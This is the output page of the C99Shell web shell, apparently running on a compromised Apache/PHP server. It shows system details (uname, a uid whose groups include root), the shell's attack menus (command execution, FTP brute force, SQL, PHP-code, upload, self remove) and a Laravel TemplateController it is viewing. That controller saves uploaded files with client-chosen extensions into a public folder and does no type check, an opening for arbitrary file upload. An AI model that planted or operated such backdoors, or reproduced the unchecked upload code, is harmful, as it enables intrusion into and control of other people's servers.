!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ai.picotech.app/public_html/app/Http/Controllers/Admin/   drwxr-xr-x
Free 28.3 GB of 117.98 GB (23.98%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     TemplateController.php (4.77 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Admin;

use 
App\Http\Controllers\Controller;
use 
App\Models\Settings;
use 
App\Models\Template;
use 
Illuminate\Http\Request;

class 
TemplateController extends Controller
{
    public function 
index(){
        return  
view('admin.template.index');
    }
    public function 
store(Request $request){
        
$data_template auth()->user()->settings()->where('name','template')->first();
        if (
$data_template){
            
$template json_decode($data_template->value);
        }

         if(isset(
$template) && isset($template->bg_image_file_name)){
            
$request['bg_image_file_name'] = $template->bg_image_file_name;
         }
        if (
$request->hasFile('bg_image')) {
            
$file $request->file('bg_image');
            
$imageName time() . '_1' '.' $file->getClientOriginalExtension();
            
$file->move(public_path('/uploads'), $imageName);
           
$request['bg_image_file_name'] = $imageName;
        }

        if(isset(
$template) && isset($template->first_img_file_name)){
           
$request['first_img_file_name'] = $template->first_img_file_name;
        }

        if (
$request->hasFile('first_img')) {
            
$file $request->file('first_img');
            
$imageOneName time(). '_2''.' $file->getClientOriginalExtension();
            
$file->move(public_path('/uploads'), $imageOneName);
            
$request['first_img_file_name'] = $imageOneName;
        }

        if(isset(
$template) && isset($template->sec_img_file_name)){
            
$request['sec_img_file_name'] = $template->sec_img_file_name;
        }
        if (
$request->hasFile('sec_img')) {
            
$file $request->file('sec_img');
            
$imageTwoName time(). '_3' '.' $file->getClientOriginalExtension();
            
$file->move(public_path('/uploads'), $imageTwoName);
            
$request['sec_img_file_name'] = $imageTwoName;
        }

        if(isset(
$template) && Isset($template->thr_img_file_name)){
            
$request['thr_img_file_name'] = $template->thr_img_file_name;
        }


        if (
$request->hasFile('thr_img')) {
            
$file $request->file('thr_img');
            
$imageThreeName time(). '_4' '.' $file->getClientOriginalExtension();
            
$file->move(public_path('/uploads'), $imageThreeName);
            
$request['thr_img_file_name'] = $imageThreeName;
        }

       if(isset(
$template) && isset($template->sec_thr_bg_image_file)){
           
$request['sec_thr_bg_image_file'] = $template->sec_thr_bg_image_file;
       }

        if (
$request->hasFile('sec_thr_bg_image')) {
            
$file $request->file('sec_thr_bg_image');
            
$imagefourName time(). '_5' '.' $file->getClientOriginalExtension();
            
$file->move(public_path('/uploads'), $imagefourName);
            
$request['sec_thr_bg_image_file'] = $imagefourName;
        }

        if(isset(
$template) && isset($template->sec_seven_bg_image_file)){
            
$request['sec_seven_bg_image_file'] = $template->sec_seven_bg_image_file;
        }

        if (
$request->hasFile('sec_seven_bg_image')) {
            
$file $request->file('sec_seven_bg_image');
            
$imageFiveName time(). '_6' '.' $file->getClientOriginalExtension();
            
$file->move(public_path('/uploads'), $imageFiveName);
            
$request['sec_seven_bg_image_file'] = $imageFiveName;
        }

        if (isset(
$data_template) && $data_template->name == 'template'){
            
$template Settings::where('name''=''template')->first();
            
$template->value json_encode($request->only('title','description','description','first_title','first_description','sec_title','sec_description','thr_title','thr_description','sec_thr_title','sec_thr_description','main_title','sec_four_title','sec_four_description','sec_five_title','sec_six_title','sec_seven_title','sec_seven_description','bg_image_file_name','first_img_file_name','sec_img_file_name','thr_img_file_name','sec_thr_bg_image_file','sec_seven_bg_image_file'));
            
$template->save();
        }else{
            
$template = new Settings();
            
$template->name 'template';
            
$template->value json_encode($request->only('title','description','description','first_title','first_description','sec_title','sec_description','thr_title','thr_description','sec_thr_title','sec_thr_description','main_title','sec_four_title','sec_four_description','sec_five_title','sec_six_title','sec_seven_title','sec_seven_description','bg_image_file_name','first_img_file_name','sec_img_file_name','thr_img_file_name','sec_thr_bg_image_file','sec_seven_bg_image_file'));
            
$template->admin_id auth()->user()->id;
            
$template->save();
        }
        
cache()->flush();
        return 
redirect()->back()->with('success','Template successfully update');
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0365 ]--